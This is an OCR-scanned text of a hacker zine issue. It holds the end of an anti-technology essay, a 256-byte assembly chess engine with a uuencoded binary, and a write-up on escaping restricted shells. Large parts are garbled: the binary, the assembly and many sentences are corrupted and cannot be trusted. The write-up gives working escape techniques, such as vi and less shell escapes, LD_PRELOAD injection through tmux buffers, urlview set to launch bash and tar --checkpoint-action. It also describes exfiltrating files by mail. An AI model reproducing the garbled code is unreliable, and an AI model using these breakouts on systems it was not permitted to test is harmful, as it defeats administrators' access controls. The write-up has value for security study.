limitation should be the consciousness required to make changes. And 
certainly not artificially restricted by the designers of the technology. 
In the same way that Kant based the premises of the categorical imperative 
on the ability for humans to reason, Hacker Luddites view this capacity 
for reason as a fundamentally important human ability. When computer 
technology, purchased and entirely in the physical possession of the 
owner, denies arbitrary modification and creation, it greatly reduces the 
ability to reason about the universe with that technology. That technology 
does not allow people to transcend the designers ideas and fully embrace 
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some of their most important human traits. Instead it delegates the 
consumers to subordinates with restricted consciousness, and restricted 
capacity for reason, and restricted creativity. 


Next up, computer technology applied excessively for the conversion of 
human attention into personal profit. 


To the hacker luddites, another nefarious category is the computer systems 
of the world which have been built to turn human attention into profit. 
Rather than proceeds coming from the advancement of humanity, the proceeds 
come primarily from the ability to guide human attention into that 
technological system. The system might be making the profit through ads, 
or it could be a game consumers pay for. 


It is understood that resources are required to run technologies and that 
some exchange of information and resources is expected between consumers 
and creators of that technology. Ads can be helpful to a consumer by 
showing them products which they actually want, and games or sites for 
information exchange are highly enjoyable to many people and therefore 
provide benefit. It is when the methods and means becom xcessive that 
hacker luddites take an issue. 


When technologies, whether delivering advertisements or games, exploit 
human psychology and physiology to turn a profit from their consumers, 
t 
c 


hey may often be directly limiting, and in a significant way, the 
onsciousness, reason, or creativity of that consumer. 


The other problem is when instead of advertisements showing people what 
they want, advertisements subconsciously manipulate peoples desires (such 
as sex, popularity, and power) to override their consciousness and 
reasoning abilities to get them to want and purchase products regardless 
of the products abilities to help the consumer attain those desires. 


And what if technologies instead of providing an opportunity for 
relaxation or fun or profound information sharing or whatever also create 
systems of psychological control where neurophysics brings users attention 
back to technology to get addictive releases of dopamine or serotonin or 
who knows what, using the darker arts of gamification. Or perhaps innate 
human survival mechanisms related to group dynamics are being exploited by 
the technology, such as showing automatically generated advertisements, 
messages, and symbols as endorsed by members of a group, or creating 
virtual resource systems where drives for competition or collaboration 
drive behavior. 


It may be that these technologies which capture human attention are simply 
what most consumers want from their technology, after all 30% of internet 
traffic generated by humans is for porn [1]. If distraction and the 
subordination of reason, creativity, or consciousness is the will of the 
majority, Hacker Luddites seriously disagree with the majority and most 
definitely oppose the designers that subordinate them. 


What defenses does the modern person have to protect against the likes and 
tweets and clicks and slide to unlocks and checkmarks and tabs and porn 
and endless dopamine and serotonin harvesting mechanisms? These systems 
were sometimes built to reap monetary gain, sometimes built for 
communication control, and sometimes for nothing of any value... in 
exchange for a portion of the time, attention, and thoughts of the user as 
well as their information... 


Don’t buy and don’t use them. 


If you do use them, use the them only in great moderation and only at 
consciously specified times. 


Inform others and expose existing and emerging technologies which may be 
limiting human potential. 


4.txt Wed Apr 26 09:43:48 2017 4 


Augment the technology in your possession to block advertisements. 


Degrade the quality or value of your attention to the attention-to-profit 
technologies by: 


— Sharing and proxying accounts with multiple users. 

— Writing user interfaces to the user interfaces. 

— Poisoning user activity with subtle fuzzers alongside your normal 
activity where it makes sense. 


Similarly, make your information more useless by lying. 


- Don’t bother with real names where they don’t matter. 
- Fill out forms like madlibs. 


[1] http://www.extremetech.com/computing/123929-just—-how-big-are-porn-sites 
-- 30% of the internet traffic out there is porn 


|=[ 0x02 ]=---=[ Chesslin - Baudsurfer/Red Sector Inc. ] 


[ CHESSLIN ] 
[ by Baudsurfer/Red Sector Inc. ] 


=--[ Introduction 

This is a sizecoding exercise to code a playable chess engine in 256 bytes. 
This POC is very experimental and bears several shortcomings when comparing 
with any other real FIDE existing chess game engine : you have been warned. 
It plays like a fish as AI is reduced to a half-ply max solely, it also has 


no end-game detection, pawns move only a single square, it cannot castle or 
do promotions —- let alone en-passant - and takes about a hundred seconds to 
play. It also only works on Microsoft Windows XP SP3. Like minimalist Edlin 
line editor Cheesslin focuses on a single console line. Whites start at the 
bottom of the virtual chess board but SAN notation order is inverse ranks 


ABCDEFGH 
1 rnbqgkboe 
2 pppppppp 
3 
4 
5 
6 
7 PPPPPPPP 
8 RNBQKBNR 


So in order to test Chesslin one can uudecode below binaries to input first 
algebraic notation "h7h6" characters starting game by moving the White pawn 
on H file from seventh rank to sixth rank. A longer example string sequence 
of gameplay is "h7h6h2h3g8foh3h4foeg4h4h5g4h2glh3h2f1h3g5". Remember if your 
keyboard input is not legal chess then Chesslin will silently expect you to 
enter again a conforming four ascii character string just to proceed. Thus, 
if only a single faulty character was entered you will need to fill-in with 
three more "dummy" characters before re-typing a desired algebraic notation 
for validation only occurs every four-chars exactly. All bugs are ofc mine. 


|=--[ Chesslin binaries 


begin 644 CHESSLIN.COM 
hMDCeaMbsgG-ai0J1BZ7aow+Ylue7REu7PJSA06V3Psldty9YjjjIZIFY2+8nB 
h8S9VUD66LrIfqSvTRTeyxTyhCC-m1CV1+565W2LtqkLP54Pz-LLbgE8hp-+3 
hM0afsjTf£2MbyWTS1-7XB3efWyiUNt+5 91u+A+00E-fGpVARIEWQS2mLIOVWoY 
hWABU Jj 44ZgEXcGk-oFX1 0VAdpE6bvWAPcD+-—o0-X10VAdpAGbTc jLzWD+Y-uU- 
hR+81-1k-iyI-ptRp2DP40510Ney2vPY0+510GOw-rz8iR+Hf£+JXtMQDcaDxp 
Uxkyk-QAJ-l1AD1kzTsSvm1V6T6T+EzZk2D2T5  jwC+D2F+D 


begin 644 CH 
M8/.JIF8GXL2!FN"5#-E) FT\ ‘D#ZJ) =0Z) ; 5X, "( 
KV>[?=?0%] ?°M. 
M8"FKXO?KS8G*°B?>Q!) C-SJKB*N@9 *’+OZ*, *: 


M*>+[@/ ((7W4 
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%;X#I **+DOOO_5KDS$ **S-— 


.!R#.A#*’ ("BSTYVP7;’ &;_!77GLO*MU! *% 


"Q!K2UA, =40B<>SR74"ABTD 


MB, -@OOO_LOCH2P!T1C#"A, IU0 (G[B, ;H/*!T!C#"A, IU, 2G?HO7_B/‘*D!2@! 
M=**Q!#P!N*4!UY=US/; &"’4"9T°S[;D"*"4"2:\ !W_*N=*3K ‘5CY8</HEF/]U 
@]P*P!<,5!0, /#P_?X>[R#A(?(?*O_PS/S$?’0\.*/S$1*/ 


end 

|=--[ Chesslin source code 

"You don’t need eyes to see You need vision." - Faithless _ 

; Special greets to Impure ASCII 1940 and Divine Stylers! | 

7 Greets Alco Bon*2 BReWErS CODEX Flush Lineout Mandarine sees” NS 
HB Onslaught Paranoimia Quartex Rebels Razor1911 RiOT Titan. feee eee 
i = ae = a = a 
; XN )\ ) )\ )\ / \ 
i/ \\ / / \ if 
i )\\ \ )\ y\ /¢ AL AS \ e 
foe ah: i \ None A? /\ \/ / \ / 
a Nee ee fo) \ f-X / > < 
aN \_/ / / \/ /__\) /__\) a 
i \ / / /\ /\ / /\/ X /\/ / | 

i / / fas oN /_\ / \ fo ~ Asatte | 

i )\ )\ | lp: 
i rN VA / gRK | 

;\Red Sector Incorporated presents\ \ \_(__) )\ ( ) 

; \Chesslin minimalist chess engine\ \ \ (_) \_/ / / NS 
; \A 256 bytes DOS tiny intro XPSP3\ \ \ \ eae Pa oe <_ 


if 


i777,\Coded by Baudsurfer\RSi 


£ 


\For Phrack Magazine #0x45 _ 


2016\ \ \/ \ \ \_ ( ) 
\\ &FU \ \ /\ \ \ X > 


w equ word 
d equ dword 


org 100h 
pusha 

rep stosb 
cwd 

xchg ax,di 
mov cl,20h 


:mov eax, 52364325h 


rol eax,cl 
and al,15 
stosb 
mov [dit+Oeh],si 
mov [dit5eh],bp 
or al,8 
mov [dit+6fh],al 
sub cl,3 

loop a 


:mov si,Offfbh 


push si 
mov cx,4 


:lodsb 


int 29h 
loop c 

xor dl,8 
pop di 
jnz h 
fldz 

fbstp 


[di-6] 


:mov si,Offf5h 


lodsw 
cmp al,ah 


fee: BNE of) ON \ / 

16-bit prettifying helper,Chesslin v1.0 in 2016 
32-bit prettifying helper,fasm assembler syntax 
binary ip execution seg start address above psp 
para down stack and avoid input buff collisions 
prepare board empty squares assumes ax=0 cx=255 
set Black=0=top active player turn, White=8=bot 
shorter mov di,ax prepares writing segment base 
32 initialization decoding bit rotations in all 
back-rank "rnbgqkbnr" nibble-encoded 32b pattern 
rotate next Black chess piece value in lsnibble 
isolate a Black chess piece value from lsnibble 
left-to-right write Black back-rank major piece 
left-to-right write Black pawns assumes si=100h 
left-to-right write White pawns assumes bp=9xxh 
transforms Black back-rank major piece to White 
left-to-right write White back-rank major piece 
fixes back-rank pattern nibble rotation counter 
file-by-file ranks init loops 20h/(3+1)=8 times 
point source index to algebraic notation buffer 
shorter save of algebraic notation buffer start 
print dword ascii algebraic notation buffer str 
get one of four usr/cpu bytes from ascii buffer 
dos api fast console out display char al=[di+t] 
continue until ascii file-first pair chars left 
alternate active player turn Black=0 or White=8 
shorter restore algebraic notation buffer start 
if active player turn is White then do keyboard 
else Black active player turn fpu load +0.0 cst 
and store back 80-bit packed bcd decimal number 
zeroed this,best score Offf5h and coords Offf7h 
move lsb=potential capture vs. msb=best capture 
compare this capture value against best capture 
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Akopete 
call n 
a omee 


mov [di-7],al 


fild d [di] 
fistp d [si] 
rane a. [da] 
jnze 

mov cl,2 
:lodsw 

aam 16 

add ax,2960h 
stosw 

loop g 

jmp k 

:mov si,di 


L:mov di,si 


mov cl,4 


}: Cow 


int 16h 
stosb 
loop j 
call n 
Gr a, 
:call 1 

push wb 
:lodsw 

sub ax,3161h 
aad 16 

mov di,ax 
test cl,cl 
jnz m 

xchg [di],ch 
sand al,88h 
ret 

:pusha 


mov cl,8 
call x 
JZ u 
xor dl,al 
test dl,cl 
jnz iu 

mov bx, di 
mov dh,al 
call x 
jz oO 
xor dl,al 
est dl,cl 
nzu 
ub di,bx 


- ct 


xchg ax,di 
jnz s 

test dh,8 
jnz q 
scasd 
:test ch,ch 
mov Cx,2 


jnz s 


mov si,O0fffbh 


prune calculations if capture already lower val 
else verify the attack potential chess legality 
capture higher value but move was illegal chess 
successful calculation thus store newer highest 
successful calculation thus load current coords 
successful calculation thus store highest coord 
resume exploring exhaustive [0;0ffffh] interval 
including subset ["lala";"8h8h"] until finished 
convert int32 to two file-first algebraic words 
get first intl6 msw/lsw algebraic notation word 
integer to expanded zero-based file/rank nibble 
translate file/rank to ascii chess board origin 
write pair=half of the ascii move buffer string 
get next intlé6é msw/lsw words algebraic notation 
and proceed examining ascii move buffer strings 
di points to Offfbh for both input and verifify 
resets every input to algebraic notation buffer 
one file-first algebraic notation is four bytes 
zero accumulator msb to set funct get keystroke 
al=dos bios keyboard services api blocking read 
src file=fffb;rank=fffc dst file=fffd; rank=fffe 
all file-first algebraic ascii quartet inputed? 
else verify algebraic ascii move is legal chess 
if not then proceed to ask user input move anew 
converts algebraic notation buffer ascii source 
redirect second fall-through return to printout 
algebraic notation buffer ascii source then dst 
convert to zero-based alphanumerical 3161lh="al" 
convert to x88 board representation (al+=ah*16) 
add x88 chess board representation memory start 
verify caller’s asked mode is passive or active 
call asked mode mutex is passive so skip writes 
call asked mode mutex is active so write board! 
test if inside main chess board x88 bitmask use 
return to standard callers or printout redirect 
save reg vals in: si=fff7h/fffbh di=fffbh/ffffh 
point source index to current ascii move buffer 
set passive mode count mutex for only verifying 
convert buffer ascii src pair to x88 memory add 
source is non-conforming : illegal empty square 
sets move conformitiy using active player color 
test move conformity using active player colour 
source is non-conforming : opponent turn colour 
else if source conforming then save piece addr. 
else if source conforming then save piece valu 

convert buffer ascii dest to x88 memory address 
if move nature not an attack skip over captures 
sets move conformitiy using active player color 
test move conformity using active player colour 
destination is non-conforming : same turn color 
source & destination conforming so obtain delta 
save piece value as non-transactional potential 
restore previous saved move source piece nature 
normalize gray piece nature colorless isolation 
determine source piece’s parity interval length 
piece face=piece nature=piece value=piece scor 

override halfing default interval len if parity 
test if moving piece is a special handling pawn 
piece memory address off-by-one index ret fixed 
move piece original start offset memory address 
offset becomes accumulator becomes displacement 
leave if move source piece not special handling 
else adjust move source pawn color displacement 
no White pawn displacement sub-interval fixings 
displacement interval offset+=4 for black pawns 
verify if pawn is attacking an opponent piece ? 
loop index clears msb placeholder also sets l1sb 
if non-empty square : pawn attacking diagonally 
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dec cx lse decrease parity interval size special case 
r:scasw displacement interval start+=2 prunes attacking 
s:add di,bx set displacement interval scanning start offset 
repnz scasb verify move exists in displacement sub-interval 
jz v ZF set legal src piece displacement delta found 
jmp u illegal src piece displacement: delta not found 
t:pop ax bail shotcircuits nested dataflow function call 
u:stc carry mutex persists indicating move is illegal 
vipopa persistant CF mutex is indicator to legal chess 
ret restore move mode mutex cl=passive or cl=active 
xicall. 1 verify this move legal within inside main board 
jnzt exits for illegal move piece outside main board 
empxchg [di],al discriminate from special case zero return vals 
y:db 195,21,7,19,15,15,15 ; p[1]PF4,n[2]PF8,b[3]PF4,q[4]PF8,r[5]PF4,k[6]PF8 
Z20b. -—33,-31,-18,—L4, 14 prev label is ret+l parity displacement offsets 
db 18,31,33,-16,16,-1,1 ; z array is displacement overlap interval values 
db: 1551-7 75.=1d97-=1147— 6 ; knight rook+8 bishop+12 pawns White+12 Black+18 
db. =32,-15;): 27,16 ; queen and king moves are rook+bishop+pawn moves 
=[ 0x03 ] =[ He Compels Secure Shells DangerMouse ] 
[ He Compels Secure Shells ] 
[ by DangerMouse ] 
--[ Table of Contents 
--[ Introduction 
--[ Exploration - Primitive Gathering. 
----[ Execution Primitive 
-—---[ Write Primitive 
-—---[ Read Primitive 
--{ A real lif xampl freeshell.org 
--[ A real life example - Private shell box 
--[ Attacking the transport 
—-[{ Conclusion 
References 
--[ Appendix A - Common commands with useful primitives 
--[ Appendix B - psh Source code 
--[ Introduction 
Welcome reader, in this small text we will look at a scenario which is 


probably familiar to most of 


For those of you who don’t know, 


you. That is, 


a common scenario exists where 


breaking out of secure shells. 


aly 


administrator of some kind of device wishes to grant restricted access to 


the functionality of that device. 


To accomplish this he/she will 


l create a 


shell (graphical or cli) which provides a subset of the features of the 


system to the user. This may 
question’s UNIX account shel] 
executes options from a set 


be as simple as replacing the user 


eT) 


l with a custom written readline () 


list of commands. 


loop which 


There are numerous pit-falls associated with this practice which provide us 
with a means to escalate our privileges from within the restricted shell. 


In this write-up we will examine some of these pitfal 
the general process for investigating a restricted she 


Ss, 


breaking out to a higher 


break them. 


Some examples of pre-packaged, 
rboash/rssh/smrsh/rksh, however there also exists an endl 


ntitled 
we will look at some real life examples of secure shell 


nvironment. 


S are: 


existing restricted shell 


as well as 
11 and eventually 
To illustrate these points 
s and how we can 


look at 


less array of custom 
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shells written for one off cases. 


--[ Exploration - Primitive Gathering. 


When investigating a secure shell environment, I find it best to 
systematically explore each of the options within the shell looking to 
collect certain primitives with which to elevate the options available. 


-—---[ Execution Primitive 


Typically the most useful primitive which we gain is the execute primitive. 
Sometimes the ability to execute arbitrary commands is enough to break out 

of the shell, for example executing a more complete shell such as bash from 
within a restricted shell can often be enough to completely invalidate the 

security of the system. Some examples of how to gain this primitive are: 


— Using the shell execute feature of many common shell commands, for 
example using the "!<shell command>" feature of the less pager. 

- Invoking the execution of a text editor (often defined by the EDITOR 
variable) from within another application. Then using shell execute 
features of the editor to escape. 

—- Combining other primitives to hijack execution of exposed applications. 


Here is a commonly used example of using the vi command to gain an 
execution primitive: 


SSA 
:set shell=/bin/sh 
:shell 
bashs$ 


From a GUI perspective, many years ago, after drinking at a conference we 
decided it would be fun to create a game around breaking out from the many 
netcafe’s which littered the streets at this time. These netcafes used to 
provide a restricted windows GUI with functionality removed, and the goal 
was to race to break out, without using any real Oday. 


Often in this scenario an easy win was provided by invoking the mirc32.exe 
application (when it was whitelisted) and then using the /exec command to 

invoke cmd.exe. Another option was to set the handler for telnet:// uri’s 

in the browser to cmd.exe and spawn it that way. 


Another byproduct of using software in an unintended way is that the 
security evaluation of the product technically neglects the permiters that 
are being exposed to an untrusted user. This means that often there are 
trivial memory corruption bugs exposed in the application which go 
unreported sinc ven when people find them they do not care a great deal. 


eg: 


S perl -e’print "A"x50,"\n"" | ftp 
Segmentation fault: 11 


It is definitely worthwhile auditing some of the commonly included commands 
in secure shells for easily triggerable memory corruption bugs, since these 
can often be all that’s needed to gain the execution primitive and win. 


nother common method of gaining the execution primitive is to abuse 
nvironment variable control to influence the dynamic linker. Typically 

his means setting the LD_PRELOAD/DYLD_INSERT_LIBRARIES/Whatever variable 
hat provides a mechanism for injecting shared objects into a process as 
oon as the dynamic linker loads. Obviously for this to work we also need a 
rite primitive before hand to store the library we wish to load somewhere. 
he tmux example later in the paper shows a real life case where this was 
possible. 


He unctaeo p 


-—---[ Write Primitive 
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Obviously in some cases we cannot easily gain the execute primitive. In 
these cases we also looking for additional primitives which we can leverage 
to eventually gain an execution primitive. 


Finding a write primitive is usually pretty easy. Most applications need 
some way to retain state between runs. Som xamples ar 


— Input redirection operators ('’>’', '>>’, '>|', '<>"’, '>&', '&>', etc) 
- Save ability of applications, text editors, etc 
—- Log files 


In one case I saw, a write primitive alone was enough to break out of the 
restricted shell. By writing to a .-unrestricted_user file within the home 
directory of your user account, the next login was presented with a bash 
shell. This is not typically the case though. 


When a write primitive is aquired it is also worth keeping in mind the 
trick mentioned in [3]. If any of the invoked shell commands use wildcard 
expansion on a directory, it can sometimes be possible to create files 
beginning with the ’-’ character, to pass arguments to those commands. 


As you will see in the real lif xamples below, write primitives are 
typically available in most applications, and can easily be leveraged ina 
variety of ways to continue breaking out of the shell. 


-—---[ Read Primitive 


When talking about a read primitive, we need some way to read an arbitrary 
file from the file system and display its contents on the screen. 


Sometimes this can be relatively straight forward, for example in a shell 


which uses /usr/bin/less as a pager, you can use the : (examine) command 
to open an alternative file. However often with less you can execute a 
command with ! as well, but in a case where you are unaware of the file 


system, you can use the e command to brute force directory structure to 
find things which are worthwhile executing. 


Other applications are less straight forward, sometimes the read primitive 
may be filtered, or evaluated as a config file for the program. In these 
cases, sometimes contents of the file can only be retreived via error 
messages. Basically whenever you see a file path being provided to an 
application, you can test it wtih some known files to see if there is a way 
to retreive the contents. 


Even when it is im-possible to retrieve the contents of a file, sometimes a 
program will respond differently when a file exists or not. This may be 
easily noticed, or something subtle like return codes. This leak can be 
used to map out the file system. 


--{ A real lif xampl freeshell.org 


Now that we’ve looked at a more generic approach to defeating secure 
shells, we will look at some real world examples. The first of which is the 
restrcited shell "psh" which is used in the freeshell.org environment. (SDF 
Public Access UNIX System). 


Before we get started looking at freeshell.org, i’d just like to say, I 
have nothing but respect for freeshell.org. I have been playing with the 
restricted shell on there for around 12 years, and have broken it a number 
of ways. Several times I have contacted the admins to let them know. To me 
this has provided a constantly evolving wargame which has been hours of 
fun. 


The process of setting up an account on freeshell.org is really simple. 
By ssh’ing into the freeshell.org box as the user "new" you are redirected 
to a sign up process. 


S$ ssh new@freeshell.org 
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You will now be connected to NEWUSER mkacct server. 
Please login as /’new’ when prompted. 


[RETURN 
THIS MAY TAKE A MOMENT .. Trying 192.94.73.20... 
Connected to 192.94.73.20. 


Escape character is ’off’. 


NetBSD/amd64 (ol) (pts/2) 


login: new 


Welcome to the SDF Public Access UNIX System - Est. 1987 
You are the 79th guest today, logged in on 02-Sep-15 17:05:23. 


Are you using Windows 2K or XP? (Y/N) N 


his new user process takes us to the first restricted shell. F 
yping ‘help* shows us the following menu: 


ea 
Av) 


FEP Command: help 


COMMAND DESCRIPTION 

what what is the SDF public access UNIX? 

w2k important info for Windows 2k/XP users 
mkacct create your own UNIX shell account 
dialup US & Canada SDF dialup access 

teach for teachers and UNIX class instructors 
traceroute {host} map a route to a specified host 

whois {host } list whois directory entry for a domain 
ruptime display system status 

finger {user} check if a login is available 

software ported and installed software packages 
mil information about our US Military Waiver 
logout disconnect from sdf.org 


As you can see this provides us with some basic applications which we can 
run, but also allows us to kick off the mkacct process to make our own 
account. 


By running the finger command on our current user (new). We can see that 
the new user has a shell of /sys/new/mkacct, which is the restricted shell 
we are in. 


FEP Command: finger new 

Login: new Name: SDF newuser 
Directory: /sys/new Shell: /sys/new/mkacct 
On since Wed Sep 2 17:05 (UTC) on pts/2 (messages off) 

No Mail 


The next thing we can see, is that they have not sanitized the arguments to 
finger. This means that we can pass arguments to the commands listed in the 
menu, this is a common mistake that people make when making restricted 
shells. 


FEP Command: finger -? 
finger: unknown option -- ? 
usage: finger [-lmpshog8] [login ...] 


If we enter finger by itself, we are prompted with the usage, rather than 
displaying all users on the system logged in. 
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FEP Command: finger 
usage: finger {user} 


However by passing in --, telling getopts to terminate arguments, we can 
accomplish the same thing, and list users logged into the system. 


FEP Command: finger -- 

Login Name Tty Idle Login Time Office Office 
Phone 

new SDF newuser *pts/2 —- Wed 17:05 

smj Stephen M. Jones pts/0 33 Tue 21:39 

smj Stephen M. Jones pts/4 33 Wed 16:34 


This shell is not the focus of the write-up however, instead, if we run the 
mkacct command, we are prompted for a user-name and password, and able to 
log into our shiney new psh shell. 


You are about to create a UNIX shell account. This account may be unlike 
anything you’ve used before. We urge you to carefully read all the text 
displayed on your terminal, as it will aide you in your learning. 

We also encourage you to try all the commands available with your new 
account. There are many types of games, applications and utilities 

you will be able to instantly run in just a few moments. If you are 
looking for a particular command or version of a command that we do not 
have, there are ways to request that it be installed. We also offer DIALUP 
and DSL in the USA and Canada which you will be able to learn about 
shortly. Be patient, read what is displayed - Explore and Enjoy! 


[RETURN ] 


First, you need to choose a LOGIN. A LOGIN allows you to LOG IN 
to the system. Your LOGIN can be 1 to 16 characters in length and 
can be composed of alpha-numeric characters (middle period is OK). 


What would you like to use for your login? 


Type ’help’ for Commands. 

[Type ’com’ to chat with other users. 

[Type ’ttytter’ to listen to Twitter Tweets anonymously. 
Type ’mud’ to play the SDFmud. 

[Type ’mkhomepg’ to set up your personal website. 


Did you know you can become a permanent LIFETIME member of SDF 
by making a onetime donation of $36? Type ’arpa’ for more info! 


sdf:/udd/d/dangermouse> 
sdf:/udd/d/dangermouse> help 


SDF psh Version 8 -— *PREVALIDATED SHELL ACCOUNT* 
what —- what can I use this account for? 
unix —- a listing of UNIX commands available to you NOW 
how —- information on increasing membership 
teach —- using SDF in a classroom setting 
dialup —- information about SDF dialup service 
arpa —- about lifetime arpa membership 
bboard —- sdf user message boards 
commode — chat with other users online 
ysm —- chat on the ICQ network 
bsflite — chat on the AIM network 
msnre —- chat on the MSN network 
ttytter —- listen to Twitter tweets anonymously 


ea 
w 


lynx — browse the WWW textually or access GOPH 
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bksp - set your BACKSPACE key 

fag —- frequently asked questions 

software -— display software programs installed on the system 

quote -— get a real time stock quote 

games - a listing of available games 

thxmoo — connect to the THXMOO 

mud —- connect to the SDFmud 

validate —- gain additional shell access (also try ’user’ for details) 


sdf:/udd/d/dangermouse> 


As you can see, this shell gives us access to a variety of unix utilities 
as well as perform some basic shell commands such as cat/cd/etc. However 
this is a little deceiving as many of the commands are filtered. We can 
change directory anywhere on the system, which is useful for exploring the 
directory structure, however when we try to cat files to view their 
contents we can see that only files in our home directory are available. 


The first method which I found for breaking out of psh revolved around 
the "lynx" text based web browser. My first thought was to open file:// 
based urls however they have disabled the ability to browse to arbitrary 
locations. 


My next thought was to spawn a shell with !, however when you attempt this, 
the message "Spawning is disabled!" is shown. From this it was possible to 
determine that lynx was being spawned with the "-restrictions=all" command 
line argument. However, due to the nature of getopts() (the c library 
function for parsing command line arguments) it is often possible to 

xr nter the case associated for a particular argument. With this in mind 
we could specify a new value for -restrictions, and spawn a shell with the 
"I!" key from within the new lynx. This has long been fixed in both lynx and 
the SDF shell, psh. 


The most recent way in which I escaped the psh shell was much more 
complicated than the lynx method. The first step was to identify where the 
source code for psh is located. Trying to change directory to an invalid 
directory leaks this information, as seen below. 


faeroes:/usr> cd doesnotexist 
/usr/local/bin/psh[611]: cd: /usr/doesnotexist - No such file or directory 


Next, I needed to view the source code of the psh, in order to look for 
potential ways to escape. Attempting to use "cat" or "pico" to view this 
file however, shows that they have placed restrictions around viewing files 
outside of the home directory. 


sdf:/usr/local/bin> cat /usr/local/bin/psh 
usage: cat {filename} 


Looking back at our list of possible applications to exploit for our 
primitives I quickly fell apon the next most complex in the list, the 
"mutt" mail client. 


By pressing the E key on an email in mutt, it’s possible to invoke the 
command stored in the EDITOR environment variable, in the case of psh, this 
is: 


EDITOR=/usr/pkg/bin/pico 


However, Since pico is executed from within mutt, the -o (sandbox) option 
is not used. This means that from within the spawned pico process we can 
read any file, giving us our read primitive. The current source code for 
the psh shell is included in the appendix for you to learn from. In order 
to read arbitrary files from pico, we simply press the ctrlt+r (*R) key 
combination and type a file-name. 
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From within this pico execution we are also able to save files using the 
ctrlt+o hotkey (*%0O). This provides us an arbitrary write primitive, which 
will come in useful for us later. 


In the freeshell case, from within this environment we actually have the 
ability to send email. This provides an easy way for us to exfiltrate 
files. This can be done by reading a file (such as psh) into our pico 
session, then mailing it to a mailinator address for extraction. 


Now that we have read/write primitives, we need to leverage them to gain 
an execution primitive. After much investigation, the way that i ended up 
doing this was to abuse the urlview feature of mutt. 


Mutt offers the ability to select a email message and hit the ctrl+b (%*B) 
hotkey in order to display a list of url’s within the email message. The 
line in the config file which enables this is shown below. 


“Bi M |urlview\n call urlview to extract URLs out of a 
message 


As you can see, the email message is simply piped to the urlview 
application. The description of this application from the manual page 
describes urlview as: 


urlview is a screen oriented program for extracting URLs from 
text files and displaying a menu from which you may launch a 
command to view a specific item. 


From the man page we can see that urlview is driven from a configuration 
file, either a system wide one "/etc/urlview.conf" or a local user copy 

"~/ urlview". This configuration file is worth investigation with our write 
primitive to see what is available. 


Again from the configuration file, we can see that the COMMAND option fits 
our need. It’s description is shown below. 


COMMAND command 

If the specified command contains a %s, it will be subsituted with the 
URL that was requested, otherwise the URL is appended to the COMMAND 
string. The default COMMAND is: 


url_handler.sh %s 


As you can see, all that’s needed it to create a configuration file with 
the following contents: 


COMMAND /usr/pkg/bin/bash # %s 


This will cause urlview to append the url to the above line, and execute 
it. Since a # is used prior to the %s the url will be treated as a 
comment. This results in an unrestricted bash shell being executed when w 
select an email message, press v followed by ctrltb. 


Once again this technique has been fixed, I will leave it as an exercise 
for the reader to find a new one. Hopefully freeshell is not angry about 
this since it is a learning exercise. 


--[ A real life example - Private shell box 


Recently a friend of mine set up a private ircd box for some semi-trusted 
people. He created a chrooted environment where a user could ssh into a 

box and be greeted with a tmux session containing a single window with the 
irssi client inside it. I was unable to create a new window, or execute any 
other commands. Irssi was heavily restricted using a configuration file, 
stopping easy wins like /exec from within the irssi client. 


After some trial and error, i settled into the tmux man page for 
inspiration. tmux supports a variety of commands which can be entered by 
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pressing the tmux hotkey (ctrlt+b) in this case and the : key. This provides 
a small shell in which you can enter commands to tmux. 


Reading the man-page, one of the first commands which stood out was as 
follows: 


update-environment variables 
Set a space-separated string containing a list of environment variables 
to be copied into the session environment when a new session is created or 
an existing session is attached. Any variables that do not exist in the 
source environment are set to be removed from the session environment (as 
if -r was given to the set-environment command). The default is "DISPLAY 
SSH_ASKPASS SSH_AUTH_SOCK SSH_AGENT_PID SSH_CONNECTION WINDOWID 
XAUTHORITY". 


To test this, i set the environment variable LD_PRELOAD to the value 
/tmp/wut.so. Then i logged out and into the box. This resulted ina 
segmentation faul upon connecting back as irssi tried to spawn, while 
loading a shared library which didn’t exist. Great i’d found a bug, but 
unfortunately i’d locked myself out of the shell. Since this was a test, i 
could luckily ask my friend to restart my tmux session, however ina real 
case this would have been trouble. Now i had the ability to load a dynamic 
library of my choice, however without the ability to create one on disk, i 
was still not any better off. 


After reading the tmux man page a little more, i came across the commands 
responsible for managing the paste buffers. 


Specifically, it is possible to load a paste buffer from a file using the 
command: 


load-buffer [-b buffer-name] path 
(alias: loadb) 


Load the contents of the specified paste buffer from path. 


With the paste buffer containing a file, you can then use: 
show-buffer [-b buffer-name] 
(alias: showb) 
Display the contents of the specified buffer. 


This creates a new tmux window, containing the contents of the file you 
loaded. This gives us the read primitive. 


We can also use the command: 


save-buffer [-a] [-b buffer-name] path 
(alias: saveb) 


Save the contents of the specified paste buffer to path. The -a option 
appends to rather than overwriting the file. 


As you can see, this command allows us to write our buffer out toa 
different file. To experiment with this, i copied a shared library that i 
knew existed by loading it into the buffer, then writing it out to /tmp. 
Then i set LD_PRELOAD, and validated that irssi did not crash. 


[The final command needed to break out of this shell is: 


set-buffer [-a] [-b buffer-name] [-n new-buffer-name] data 


(alias: setb) 
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Set the contents of the specified buffer to data. The -a option appends 
to rather than overwriting the buffer. Th n option renames the buffer to 
new-buffer-nam 


As you can see, this lets us manipulate the paste buffer in a more fine 
grain manner, in order to create a .so that we can abuse to get controlled 
code execution. 


As you can see, the methodology at play here is very similar to the 
previous examples, but the actual technology at play was very different. 


--[ Attacking the transport 


In some cases the restricted shell is just too restrictive, and it’s just 
not possible to gain any of these primitives. In these cases there ar 
still some things that are worth investigating. Sometimes you can attack 
the protocol with which you are connecting to the system. The first 
example, is the shellshock vulnerability (sorry to use a buzzword). 
Systems which are vulnerable to shellshock can sometimes be exploited to 
execute bash commands prior to invoking the users shell. This obviously 
breaks out of the restrictive environment. 


Another example, is when the shell is dynamically linked. (Such as 

nologin typically). If the user is also given ftp access, or the ability to 
otherwise write to their home directory, sometimes the .ssh/ directory can 
be written to in order to create a config file, and if sshd is poorly 
configured, this can allow the user to provide a LD_PRELOAD environment 
variable to the ssh session, bypassing the nologin shell. 


—-[ Conclusion 


As you can hopefully see, setting up a restricted shell in a secure manner 
is an almost impossible task. The nature of secure shells involves exposing 
an untrusted user to code which was not designed to be trusted. 


While there was not too much as far as technical content in this paper, 
hopefully it has still provided you some entertainment, and some ideas you 
can use in the future. I definitely encourage you all to play with some 
restricted shells as, even if you do not need the functionality, they still 
provide a fun free wargame. 


Thanks go out to freeshell.org for your interesting wargame levels over th 
years, as well as huku for your help with this. 
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--[ Appendix A - Common commands with useful primitives 


— vim :: Execution primitive 

:set shell=/bin/bash 
:shell 

—- arp -f <file> :: File read primitive 

-— iptables --modprobe=<cmd> :: Execution primitive 

— tar --checkpoint-action=<cmd> :: Execution primitive 

